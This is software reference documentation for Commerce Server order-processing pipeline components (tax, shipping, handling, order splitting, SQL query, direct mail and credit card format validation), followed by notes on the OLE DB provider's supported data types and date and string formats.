The SimpleJapanTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._oadjust_adjustedprice | Order | The total cost for an item.
item._product_jpn_tax_included | Order | Dynamic. Default shown. A Boolean indicating whether tax is already included in the item cost. The key name is determined by the value in the Include Item Key configuration box.
item._product_jpn_tax_rate | Order | Dynamic. Default shown. The tax rate for an item. The key name is determined by the value in the Rate Item Key configuration box.
ship_to_country | Order | The country/region to ship to.

Values Written

The SimpleJapanTax component assigns values to the following keys in the Order dictionary.

Key | Description
item._tax_total | The total tax for items with this stockkeeping unit (SKU).
item._tax_included | The amount of tax included in the cost of the item.
_tax_total | The total tax for this order.
_tax_included | The amount of tax included in the cost of the order.

Remarks

The SimpleJapanTax component computes a tax rate for the Japanese tax model. It can be used for any country/region that uses a similar model. The component handles fractions of currency units only at the item level; order-level calculations (order._tax_total and order._tax_included) are rounded to the nearest whole unit.

The combination of the values in the Key, Apply when, and Country boxes determines whether tax should be applied, but only if tax is not already included in the price of the item.

The SimpleJapanTax component first checks the Apply when value:

  • If it is set to Always, the tax is always applied to the order.
  • If the value in the Apply when box is set to Has any value, the tax is applied to the order whenever the order form contains any value for the ship_to_country key.
  • If the value in the Apply when box is set to Equal to Country, the component compares the value of the ship_to_country key on the order form and the text string in the Country box on the property page. If they match, the component applies the tax whose value is stored in the box specified in Rate Item Key.

The key in the Include Item Key box specifies the name of the field in the Item dictionary that indicates whether tax is already included in the price of the item. This field is assumed to contain a Boolean value that indicates whether or not the tax rate is to be added to the line item (in which case the item._tax_total key is set to the tax amount and the item._tax_included key is set to zero), or whether the tax rate is included in the price (in which case the item._tax_included key is set to the tax amount and the item._tax_total key is set to zero).

Example

To specify that a 9.54% tax rate is included in the price of an item and is not included in the price of another item for items in Japan, do the following:

  1. Add a column for the included tax rate to your product table. The tax rate should be specified as a smallint number:
jpn_prod_tax_included smallint NOT NULL,
  1. Add a column for the tax rate to your product table. The tax rate should be specified as a real number:
jpn_prod_tax_rate real NOT NULL,
  1. Assign tax rates and tax included values to each product in your product table using an SQL script. This example uses two products, Product Included and Product Excluded. Assign Product Included the 9.54% tax rate with the tax included in the product price. Type 9.54 into the jpn_prod_tax_rate column and 1 (True), in the jpn_prod_tax_included column in the Product Included row. Assign Product Excluded the 9.54% tax rate with the tax not included in the product price. Type 9.54 into the jpn_prod_tax_rate column and 0 (False), in the jpn_prod_tax_included column in the Product Excluded row.
  2. Use the Pipeline Editor to enter the following in the property page of the SimpleJapanTax component:
    Box | Value
    Apply when | Has any value
    Country | JPN
    Include Item Key | _product_jpn_prod_tax_included
    Rate Item Key | _product_jpn_prod_tax_rate

If the user types a country/region in the order form that is not specified in the SimpleJapanTax component configuration, the _tax_total and _tax_included keys on the order and on the items will not be set.


SimpleUSTax

Use this component to apply taxes on any order sent to a specified state in the United States.

Note

  • The SimpleUSTax component is a Site Server 3.0 Commerce Edition sample tax component. The SampleRegionalTax component is the sample tax component for Commerce Server 2000 and Commerce Server 2002. Because all tax components in the product are intended only as samples, Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by this component before you use such information for personal or business purposes.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

You can determine how the SimpleUSTax component calculates the tax by setting component properties. Use the following boxes on the Simple United States Tax tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the tax. The values are:
Always
Default. Specifies that the tax is always applied to the order.
Equal to country
Specifies that the tax should be applied when the value of the ship_to_country key in the Order dictionary is the same as the string specified for the Country box.
Has any value
Specifies that the tax is applied when the ship_to_country key of the order has any non-null value.
Country | The string to compare to the ship_to_country key in the order.
State Rate List | The list of states and tax rates, in the form state:rate, with state as the two-character postal code abbreviation and rate expressed as a decimal value. For example WA:8.6 is an 8.6% tax rate for the state of Washington. Multiple state and rate pairs are separated by spaces.

Values Read

The SimpleUSTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
ship_to_state | Order | The state to ship to.
item._oadjust_adjustedprice | Order | The total cost for an item.
ship_to_country | Order | The country/region to ship to.

Values Written

The SimpleUSTax component assigns values to the following keys in the Order dictionary.

Key | Description
item._tax_total | The total tax for items with this stockkeeping unit (SKU).
item._tax_included | The amount of tax included in the cost of the item.
_tax_total | The total tax for this order.
_tax_included | The amount of tax included in the cost of the order.

Remarks

The SimpleUSTax component calculates state taxes within the United States.

The combination of the values in the Key, Apply when, and Country boxes determine whether tax is applied, but only if the state to which the order is shipped appears in the State Rate List box.

The SimpleUSTax component first checks the Apply when value:

  • If it is set to Always, the tax is always applied to the order.
  • If the value in the Apply when box is set to Has any value, the tax is applied to the order whenever the order form contains any value for the ship_to_country key.
  • If the value in the Apply when box is set to Equal to Country, the component does a comparison between the value of the ship_to_country key on the order form and the text string in the Country box on this property page. If there is a match, the component applies the tax.

If the component determines that tax should be applied, it then compares the value of the ship_to_state key on the order form to the list of states specified in State Rate List box. If there is a match, indicating that the order is being shipped to a state where tax should be collected, the component applies the tax rate for that state, and sets the values for the item._tax_total, item._tax_included, order._tax_total, and order._tax_included keys.

The SimpleUSTax component always assigns zero (0) to the _tax_included keys for both the item and the order. The component does not handle fractions of base currency units; all calculations are rounded to the nearest whole unit.

If the user types a country/region or state in the order form that is not specified in the SimpleUSTax component configuration, the values of the _tax_total and _tax_included name/value pairs on the order and on the items will not be set.

You can enter an at sign (@) (the wildcard character) to represent all states that are not explicitly listed (for example: @:0).


SimpleVATTax

Use this component to calculate a Value Added Tax (VAT).

Note

  • The SimpleVATTax component is a Site Server 3.0 Commerce Edition sample tax component. The SampleRegionalTax component is the sample tax component for Commerce Server 2000 and Commerce Server 2002. Because all tax components in the product are intended only as samples, Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by this component before you use such information for personal or business purposes.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

You can determine how the SimpleVATTax component calculates the tax by setting component properties. Use the following boxes on the Simple VAT Tax tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the tax. The values are:
Always
Default. Specifies that the tax is always applied to the order.
Equal to country
Specifies that the tax should be applied when the value of the ship_to_country key in the Order dictionary is the same as the string specified for Country box.
Has any value
Specifies that the tax is applied when the ship_to_country key of the order has any non-null value.
Country | The string to compare to the ship_to_country key in the order to determine if tax is applied.
Rate Item Key | The key in the item that contains the tax rate charged for the item.

Values Read

The SimpleVATTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._oadjust_adjustedprice | Order | The total cost for an item.
item._product_tax_rate | Order | Dynamic. Default shown. The tax rate for the product. The key name is determined by value in the Rate Item Key configuration box.

Values Written

The SimpleVATTax component assigns values to the following keys in the Order dictionary.

Key | Description
item._tax_total | The total tax for items with this stockkeeping unit (SKU).
item._tax_vat_item | The VAT for the item.
item._tax_included | The amount of tax included in the cost of the item.
_tax_total | The total tax for this order.
_tax_included | The amount of tax included in the cost of the order.

Remarks

The SimpleVATTax component calculates simple Value Added Tax (VAT).

The SimpleVATTax component always assigns zero (0) to the _tax_total keys for both the item and the order. The component does not handle fractions of currency units — all calculations are rounded to the nearest whole unit.

The combination of the values in the Key, Apply when, and Country boxes determine whether tax should be applied. The SimpleVATTax component first checks the Apply when value:

  • If it is set to Always, the tax is always applied to the order.
  • If the value in the Apply when box is set to Has any value, the tax is applied to the order whenever the order form contains any value for the ship_to_country key.
  • If the value in the Apply when box is set to Equal to Country, the component does a comparison between the value of the ship_to_country key on the order form and the text string in the Country box on this property page. If there is a match, the component applies the tax whose value is stored in the field specified in Rate Item Key.

Example

To specify that a VAT tax rate of 6.5% is charged for an item in Germany, do the following:

  1. Add a column for the VAT rate in Germany to your product table. The tax rate should be specified as a real number:

    ger_vat_tax_rate real NOT NULL

  2. Assign tax rates to each product in your product table using an SQL script. For this example, assign the 6.5% VAT rate to Product ABC. Type 6.5 into the ger_vat_tax_rate column in the Product ABC row.
  3. Enter the following values in the property page for the SimpleVATTax component in the Pipeline Editor:
    Box | Value
    Apply when | Always
    Country | GER
    Rate Item Key | _product_ger_vat_tax_rate

If the user types a country/region on the order form that is not specified in the SimpleVATTax component configuration, the values of the _tax_total and _tax_included keys in the order and in the items will not be set.


Splitter

Use this component to divide an order into groups based on a list of item keys. For example, in the Accept stage, the Splitter component can be used to divide orders by catalog and vendor; in the Shipping stage it can be used to divide an order into shipments by shipping methods and addresses.

Intended use: Order Processing pipeline, any stage.

Configuration Values

You can determine how the Splitter component divides orders by setting component properties. Use the following boxes on the OrderSplitter tab of the Component Properties dialog box to determine this information.

Box | Description
Output Structure | The name of the SimpleList object that points to the resulting dictionaries. The Splitter component creates one dictionary for each set of distinguisher values.
Input Distinguishers | A space-separated list of line item attributes (keys) to use to split the order. The defaults are the shipping_method_id and shipping_address_id keys, the distinguishers for splitting orders into multiple shipments.

Values Read

The Splitter component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
CacheManager | Context | A reference to a CacheManager object. If supplied, this component will automatically look up the shipping method name and write it to the output structure if shipping_method_id is a distinguisher.
ShipmentDistinguishers | Context | Optional. An array of strings containing the line item attributes (keys) to use to split shipments. The defaults are the shipping_method_id and shipping_address_id keys. This key is used only if no values are specified in the Input Distinguishers box. For example, Dict("ShipmentDistinguishers") = "quantity shipping_address_id name shipping_method_id ...".

Values Written

The Splitter component writes the following values to the Order dictionary.

Key | Description
dynamic (what the Output Structure is set to) | (Optional) The name of the SimpleList object that points to the resulting dictionaries. The Splitter component creates one dictionary for each set of distinguisher values. The Shipments key is used only if no other key is specified in the Output Structure box.

Remarks

For information about setting up the Splitter component to divide orders into multiple shipments, see Using the Splitter Component to Create Multiple Shipments.

Example

With the Splitter component, you can split an order any way you want. For example, you have four line items, numbered zero (0) through three (3) with the following attributes:

shipping_method_id | shipping_address_id | shipping_date | catalog |  | vendor
A | Home | ASAP |  | A |  | A
A | Home | ASAP |  | A |  | A
B | Work | ASAP |  | B |  | B
A | Work | 3/1 |  | C |  | B

If you split by shipping_method_id and shipping_address_id, to an output structure called _Shipments, you will get a SimpleList object of dictionaries on your order form called "shipments" with the following entries:

shipping_method_id | shipping_address_id | ItemIndexes
A | Home | 0,1
B | Work | 2
A | Work | 3

If you split by vendor, to an output structure called _Vendors, you will get a SimpleList object of dictionaries on your order form called "_Vendors" with the following entries:

Vendor | ItemIndexes
A | 0,1
B | 2,3

See Also

Shipping Object

Shipping Objects

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


SQLItemADO

Use this component to run a query for each item in an order form.

Intended use: Order Processing pipeline, Accept stage.

Configuration Values

You can determine the query the SQLItemADO component runs by setting component properties. Use the following boxes on the SQL Item (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Connection String | The connection string to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is used.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List The parameters the component passes to the query. Separate multiple parameters with a single space. The following are the allowed parameters:
count
Passes the query the number of line items on the order.
index
Give the query the zero-based index number of this line item.
order.fieldname
Passes the value of the specified field in the order form.
item.fieldname
Passes the value of the specified field in the Item dictionary.
sum.fieldname
The query receives the sum of a particular field on the order.
sumq.fieldname
Passes the sum times the respective quantities.

Values Read

The SQLItemADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

None.

Remarks

The SQLItemADO component runs a query for each item in the items list, passing the specified order form fields as parameters to the query. These fields can include keys from either the Order or the Item dictionary.

The connection string must include either the full connection string (the data source name (DSN), database login ID, and database password) or the name of a named connection stored in the connection map.


SQLOrderADO

Use this component to run a single SQL query on an order, passing order parameters to the query.

Intended use: Order Processing pipeline, Accept stage.

Configuration Values

You can determine the query the SQLOrderADO component runs by setting component properties. Use the following boxes on the SQL Order (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Connection String | The connection string to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is used.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List The parameters the component passes to the query. Separate multiple parameters with a single space. The following are the allowed parameters:
count
Passes the query the number of line items on the order.
order.fieldname
Passes the value of the specified field in the order form.
sum.fieldname
The query receives the sum of a particular field on the order.
sumq.fieldname
Passes the sum times the respective quantities.
Child Object Name | The name of a field that receives the data. The component uses the field only if the Use Child Object check box is selected.
Use Child Object | Indicates whether or not the component is to use the object specified in the Child Object Name box. If the check box is not selected, the component assumes there is no child object.

Values Read

The SQLOrderADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default connection string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

None.

Remarks

The SQLOrderADO component runs a SQL query once per order, passing the specified order parameters to the query. The component uses ActiveX Data Objects (ADO) to interface with the data source, and therefore supports COM+ transactions.

The connection string must include either the full connection string (the data source name (DSN), database login ID, and database password) or the name of a named connection stored in the connection map.


StepwiseShipping

Use this component in the multiple-shipment shipping architecture to calculate shipping costs for shipments. The StepwiseShipping component can handle charging for shipping by weight, by quantity, or by price.

Note

  • This component should never be inserted directly in a pipeline; it is run by the ShippingMethodRouter component.

Configuration Values

The ShippingMethodRouter component sets the following value in the Configuration dictionary before executing the StepwiseShipping component.

Key Description
mode The shipping calculation mode. The options are:
0
Use subtotal to calculate shipping.
1
Use quantity to calculate shipping.
2
Use weight to calculate shipping.

Values Read

The StepwiseShipping component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
TransactionConfigConnectionString | Context | The data connection string to the database containing the shipping rates.
shipments_to_process | Context | A SimpleList object of the shipments to process. Each shipment is represented by a dictionary.

The StepwiseShipping component also reads the following values for each item in each Shipment dictionary in the shipments_to_process SimpleList object.

Key | Description
_product_weight | Optional. The weight of an individual item. Needed only if weight is used to calculate shipping.
quantity | Optional. The quantity of an individual item. Needed only if quantity is used to calculate shipping.
_cy_oadjust_adjustedprice | Optional. The subtotal for an item. Needed only if the subtotal is used to calculate shipping.

Values Written

The StepwiseShipping component writes the following values to the Order dictionary.

Key | Description
shipments._cy_shipping_total | The shipping charges for each individual shipment.

Remarks

The StepwiseShipping component goes through the list of shipments. For each shipment, it retrieves the shipping rate from the shipping rate table, and calculates the shipping according to the mode specified.

If you use weight to calculate shipping, all items must have a weight or the component returns an error.

See Also

Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Object

ShippingMethodRouter


TableHandlingADO

Use this component to set the handling total on an order based on values retrieved from the database.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

You can determine when the TableHandlingADO component calculates the handling charge by setting component properties. Use the following boxes on the Table Handling (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the handling charge. The values are:
Always
Default. Specifies that the handling charge is always applied to the order.
Equal to method
The handling charge should be applied when the value of shipping_method key in the Order dictionary is the same as the string specified in the Method box.
Has any value
Specifies that the handling charge should be applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to the value in the Equal to method box.
Connection String | The connection string to connect to the database. This may be a full DSN or a name in a connection map. If blank, the default connection string is used.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List The parameters the component passes to the query. Separate multiple parameters with a single space. The following are the allowed parameters:
count
Passes the query the number of line items on the order.
order.fieldname
Passes the value of the specified field in the order form.
sum.fieldname
The query receives the sum of a particular field on the order.
sumq.fieldname
Passes the sum times the respective quantities.
Column | The name of the column in the database containing the handling charge.

Values Read

The TableHandlingADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
shipping_method | Order | Optional. The shipping method as a string.
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

The TableHandlingADO component assigns a value to the following key in the Order dictionary.

Key | Description
_handling_total | The total cost for handling the order.

Remarks

The TableHandlingADO component sets the value of the _handling_total key on the order form using values retrieved from the database.

The combination of the values in the Apply when and Method boxes determine whether or not the handling charge is applied to the order.

The TableHandlingADO component first checks the Apply when value. If it is set to Always, the handling charge is always applied to the order. If the value in the Apply when box is set to Has any value, the handling charge is applied to the order whenever the order form contains any value for the shipping_method key. If the value in the Apply when box is set to Equal to Method, the component does a comparison between the value of the shipping_method key on the order form and the text string in the Method box on this property page. If there is a match, the handling charge is applied.

If the component determines that the handling charge should be applied, it runs the query specified in the Query box. The query retrieves the handling charge from the database column specified in the Column box. The component then computes the handling charge.

The connection string must include either the full connection string (the data source name (DSN), database login ID, and database password) or the name of a named connection stored in the connection map.


TableShippingADO

Use this component to set the total shipping on an order by using values retrieved from the database.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

You can determine when the TableShippingADO component calculates the handling charge by setting component properties. Use the following boxes on the Table Shipping (ADO) tab of the Component Properties dialog box to determine this information.

Field | Description
Apply when Determines when to apply the shipping charge. The values are:
Always
Default. Specifies that the shipping charge is always applied to the order.
Equal to method
The shipping charge should be applied when the value of the shipping_method key in the Order dictionary is the same as the string specified in the Method box.
Has any value
Specifies that the shipping charge should be applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to the value in the Equal to method box.
Connection String | The connection string to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is used.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List The parameters the component passes to the query. Separate multiple parameters with a single space. The following are the allowed parameters:
count
Passes the query the number of line items on the order.
order.fieldname
Passes the value of the specified field in the order form.
sum.fieldname
The query receives the sum of a particular field on the order.
sumq.fieldname
Passes the sum times the respective quantities.
Column | The name of the column in the database containing the handling charge.

Values Read

The TableShippingADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
shipping_method | Order | Optional. The shipping method as a string.
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

The TableShippingADO component assigns a value to the following key in the Order dictionary.

Key | Description
_handling_total | The total cost for handling the order.

Remarks

The TableShippingADO component sets the value of the _shipping_total key on the order form using values retrieved from the database.

Be sure to remove the DefaultShipping component from the pipeline if you use the TableShippingADO component.

The combination of the values in the Key, Apply when, and Method boxes determine whether the shipping charge should be applied to the order.

The TableShippingADO component first checks the Apply when value. If it is set to Always, the shipping charge is always applied to the order. If the Apply when value is set to Has any value, the shipping charge is applied to the order whenever the order form contains any value for the shipping_method key. If the value in the Apply when box is set to the value in the Equal to Method box, the component does a comparison between the value of the shipping_method key on the order form and the text string in the Method box on this property page. If there is a match, the shipping charge is applied.

If the component determines that the shipping charge should be applied, it runs the query specified in the Query box, which retrieves the shipping charge from the database column specified in the Column box. The component then computes the shipping charge.

The value in the Parameter List box is used to specify parameters to the query, which usually includes a basis for the table lookup. The basis can be total cost of the order, or a merchant-defined value such as weight.

The following table illustrates some useful values for the Basis Item Key box.

Example Basis Item Key | Result
order._oadjust_subtotal | The subtotal on the order form.
sum.quantity | The sum of all quantities (total number of items ordered).
sum._oadjust_adjustedprice | The sum of adjusted prices.
sumq._iadjust_currentprice | The sum of current price times quantity for all items in the order.
sumq._product_weight | The total weight of order. (Assumes that the weight column exists in the product table, and that the query used by the QueryProdInfoADO component includes this field.)

For example, if the sumq._product_weight key is specified, and if the order has two items, one item weighing 2 pounds with a quantity of 3 and the other item weighing 4 pounds with a quantity of 1, then the basis value is 10 pounds.


ThrottleDMLPerformance

Use this component to control the speed the pipeline processes direct mail messages. This controls the load on the Simple Mail Transfer Protocol (SMTP) server.

Intended use: Direct Mailer pipeline, Throttle stage.

Configuration Values

None.

Values Read

The ThrottleDMLPerformance component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
delay_msec | Context | The delay between messages in milliseconds.

Values Written

None.

Remarks

An SMTP server can be overwhelmed by receiving too many messages at a time. For this reason, a direct mail pipeline may need to slow down delivery of messages to the server.

The ThrottleDMLPerformance component simply waits the number of milliseconds specified by the delay_msec key. The Direct Mailer service calculates the delay needed to maintain an appropriate delivery rate. It then sets the delay_msec value in the Context dictionary, which is read by the ThrottleDMLPerformance component.

See Also

AddAttachments

ComposeDMLMessage

CreateUPMCookie

SendPrecomposedMessage

VerifyMessageBody

VerifyRecipientData


ValidateCCNumber

Use this component to check the expiration date of a credit card and to perform a checksum test on the number. Checksum testing ensures that the format of the number is correct; it does not verify the validity of the account.

Intended use: Order Processing pipeline, Payment stage.

Configuration Values

You can determine when the ValidateCCNumber component checks the credit card by setting component properties. Use the following boxes on the Validate CC tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the credit card check. The values are:
Always
Default. Specifies that the format of the credit-card number is always checked.
Equal to method
Specifies that the format of the number should be checked when the value of the payment_method key in the Order dictionary is the same as the string specified for the Method box.
Has any value
Specifies that the format of the number should be checked when the payment_method key of the order has any non-null value.
Method | The payment method to match against the value of the payment_method key in the Order dictionary. Used when the value in the Apply when is set to Equal to method box.

Values Read

The ValidateCCNumber component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_cc_number | Order | The credit card number.
_cc_expmonth | Order | The expiration month as a string.
_cc_expyear | Order | The expiration year as a string.
cc_type | Order | The type of the credit card as a string. Must be one of the following six types: MasterCard, MC, VISA, Discover, AmericanExpress, AMEX. No other type will be validated.
MessageManager | Context | A reference to a MessageManager object, which uses the invalid credit card error constant (pur_badcc) to retrieve an error message.

Values Written

The ValidateCCNumber component writes the following values to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The ValidateCCNumber component returns error level 2 (OPPERRORLEV_WARN) when an error occurs.

The component writes error messages to the _Purchase_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badcc | The credit card has expired or has a bad number.

Remarks

The ValidateCCNumber component first determines whether the credit card type specified in the order.cc_type key is one of the types accepted by this component. Accepted types are VISA, MasterCard, AmericanExpress, Discover, and the abbreviations MC and AMEX.

The ValidateCCNumber component checks the values stored in the order._cc_expmonth and order._cc_expyear keys to confirm that the credit card has not expired.

If the card is an accepted type, the component then runs a checksum on the number stored in the order._cc_number key to ensure that the number is properly formed. For example, if the specified credit card type is Discover, a well-formed number must begin with a 3 and must consist of 16 digits.

See Also

MessageManager Object


VerifyMessageBody

Use this component to check the body of a direct mail message.

Although the component appears as VerifyMessageBody in the Pipeline Editor, its ProgID is Commerce.DMLVerifyMessageBody.

Intended use: Direct Mailer pipeline, Send E-mail stage.

Configuration Values

None.

Values Read

The VerifyMessageBody component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
user_flags | Order | A bit mask indicating elements of the message to check. Only the rightmost bit is currently used.
cdo_result | Order | The result code (an HRESULT) from the most recent Collaboration Data Objects (CDO) for Microsoft Windows 2000 operation.
cdo_message | Context | A reference to the CDO message object (CDO.Message).

Values Written

The VerifyMessageBody component writes the following values to the Order dictionary.

Key | Description
rcp_bypass | Boolean. Set to True so that other components will bypass further processing if errors exist.

Remarks

The VerifyMessageBody component checks the message body according to a set of user flags (user_flags). In the current component, only the rightmost bit is tested. If set (1), the component ensures that the message body is not blank. If the user flag is not set, or if the cdo_result key is not equal to S_OK, the component does nothing.

The component also checks for attachments and for the correct number of attachments.

If the body is blank and there are no attachments, the component sets the rcp_bypass key to True.

See Also

AddAttachments

ComposeDMLMessage

CreateUPMCookie

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyRecipientData


VerifyRecipientData

Use this component to check the data about the recipient of a direct mail message.

Although the component appears as VerifyRecipientData in the Pipeline Editor, its ProgID is Commerce.DMLVerifyRecipientdata.

Intended use: Direct Mailer pipeline, Preprocess Recipient stage.

Configuration Values

None.

Values Read

The VerifyRecipientData component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
rcp_email | Order | The e-mail address of the recipient.
rcp_formatting Order Numeric. The format for the message. The options are:
0
Default formatting
1
Plain text
2
MIME
3
MHTML
This key overrides the default format.
default_formatting Context
Optional. Numeric. The default formatting for the message. The values are:
0
Default formatting
1
Plain text
2
MIME
3
MHTML

Values Written

The VerifyRecipientData component writes the following values to the Order dictionary.

Key | Description
rcp_bypass | Boolean. This key is set to True if there is a problem with the recipient data. This will make subsequent components skip or bypass this recipient.

Remarks

The VerifyRecipientData component checks multiple values in the pipeline dictionaries to verify data about the recipient. If any one of the checks fails, the component sets the rcp_bypass key to True so that subsequent components in the pipeline skip the recipient.

The component performs the following checks:

  • Tests the rcp_bypass key to see if it is True on entry. If True, the component does nothing further.
  • Ensures that the e-mail address key (rcp_email) is present and has a value.
  • Tests the formatting code (rcp_formatting) to see if it is empty. If empty, the component uses the default formatting.
  • Tests the formatting against text, MIME, or MHTML.

The VerifyRecipientData component does not check any of the personalization information. The direct mail sender must verify this data.

See Also

AddAttachments

ComposeDMLMessage

CreateUPMCookie

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyMessageBody


OLE DB Provider for Commerce Server

An OLE DB provider is a COM component that accepts calls to the OLE DB API and processes that request against the data source. The OLE DB Provider for Commerce Server provides two distinct paths of functionality, the Profiling System and the Data Warehouse. The Fastload property passed in the connection string determines which of these functionalities is used.

The Profiling System is mainly concerned with single insertions and queries and the ability of the OLE DB Provider for Commerce Server to aggregate profile data across multiple data stores.

The Data Warehouse concentrates on bulk insertion and the ability of the OLE DB Provider for Commerce Server to automatically instantiate the parent classes when a child class is created.

This section contains:

  • Data Types Supported by OLE DB Provider. Describes the data types and their formats supported by the OLE DB Provider for Commerce Server.
  • OLE DB Interface Support. Lists the supported OLE DB 2.5 objects and interfaces.
  • Data Warehouse, Analysis, and OLE DB Provider. Describes the functionalities of the OLE DB Provider for Commerce Server as they are used by the Data Warehouse and the Business Analytics System.
  • Profiling System and OLE DB Provider. Describes the functionalities of the OLE DB Provider for Commerce Server as they are used by the Profiling System.
  • OLE DB Error Messages. Lists all the error messages associated with the OLE DB Provider for Commerce Server.

See Also

Code to Perform Bulk Operations Using ADO and SQL


Data Types Supported by OLE DB Provider

The following topics describe the supported data types and their formats:

  • DateTime Format
  • String Format
  • Supported Data Types


DateTime Format

ActiveX Data Objects (ADO), OLE DB, and Open Database Connectivity (ODBC) applications should use the following escape clauses when specifying dates for input to INSERT and UPDATE statements. Use the 24-hour time format; do not use A.M or P.M. to indicate morning or evening:

  • {ts 'YYYY-MM-DD [HH:MM:SS.FFF]'}, for example, {ts '2000-10-31 23:59:59.999'}
  • {d 'YYYY-MM-DD'}, for example, {d '2000-10-31'}
  • {t 'HH:MM:SS'} for example, {t '23:59:59'}

For further information, see Writing International Transact-SQL Statements in SQL Books Online.

On import, if one member of a multi-valued DateTime member is invalid, none of the DateTime members are imported.


String Format

The Commerce database supports strings of 4000 characters. Since the Data Warehouse only supports strings of 512 characters, any string consisting of more than 512 characters will be truncated to 512 characters when it is imported.

For multi-valued strings, the count includes one additional character (the semicolon) per element, the length of the integer specifying the number of elements, plus one.


Supported Data Types

The following table contains the valid data types supported by the OLE DB Provider for Commerce Server. The Support column specifies whether the data type is supported by the Data Warehouse, the Profiling System, or both. Binary data is not supported by the Data Warehouse, but is supported by the Profiling System in the following contexts:

  • Access by means of a ProfileService object or a Recordset object.
  • Modification by means of a ProfileService object or a Record object.
TypeName | Support | Storage Data Types for SQL (Data Warehouse only) | Description
BINARY | Profiling System | varbinary | Binary
BOOL | Both | bit | Boolean (0 or 1)
CURRENCY | Both | money | 64-bit currency
DATE | Both | datetime | Standard date
DATETIME | Both | datetime | SQL Date-time
FILETIME | Data Warehouse | datetime | Standard file date/time stamp
FLOAT | Profiling System | float | 4-byte floating point number
IDENTITY | Data Warehouse | binary(6) | 48-bit numerical identifier Does not support multi-valued members
IDENTITY6 | Data Warehouse | binary(6) | 48-bit numerical identifier Does not support multi-valued members
IMAGE | Profiling System | varbinary | limit 8,000 bytes
INT64 | Data Warehouse | bigint | 64-bit integer Does not support multi-valued members
LONG | Data Warehouse | int | 32-bit integer
LONGREAL | Data Warehouse | float(53) | 64-bit floating point number
LONGTEXT | Profiling System | text | Unicode string of length 4000 characters
NUMBER | Profiling System | int | 4-byte integer
REAL | Data Warehouse | real | 32-bit floating point number
SHORT | Data Warehouse | smallint | 16-bit integer
STRING | Profiling System | nvarchar | Standard string
TIME | Profiling System | datetime | Standard time
UINT64 | Profiling System | bigint | 64-bit unsigned integer Does not support multi-valued members
ULONG | Data Warehouse | int | 32-bit unsigned integer Does not support multi-valued members
UUID | Data Warehouse | uniqueidentifier | Packed decimal number used for globally unique identifiers (GUID)
WORD | Data Warehouse | smallint | 16-bit unsigned integer Does not support multi-valued members
WSTR | Data Warehouse | nvarchar (255) | Unicode string of length 255
WSTR8, WSTR12. WSTR16, WSTR24, WSTR32, WSTR48, WSTR64, WSTR80, WSTR96, WSTR112, WSTR128, WSTR144, WSTR160, WSTR255, WSTR400, WSTR512 | Data Warehouse | nvarchar | Unicode string of designated length, WSTR8 is nvarchar (8), WSTR12 is nvarchar (12), and so on
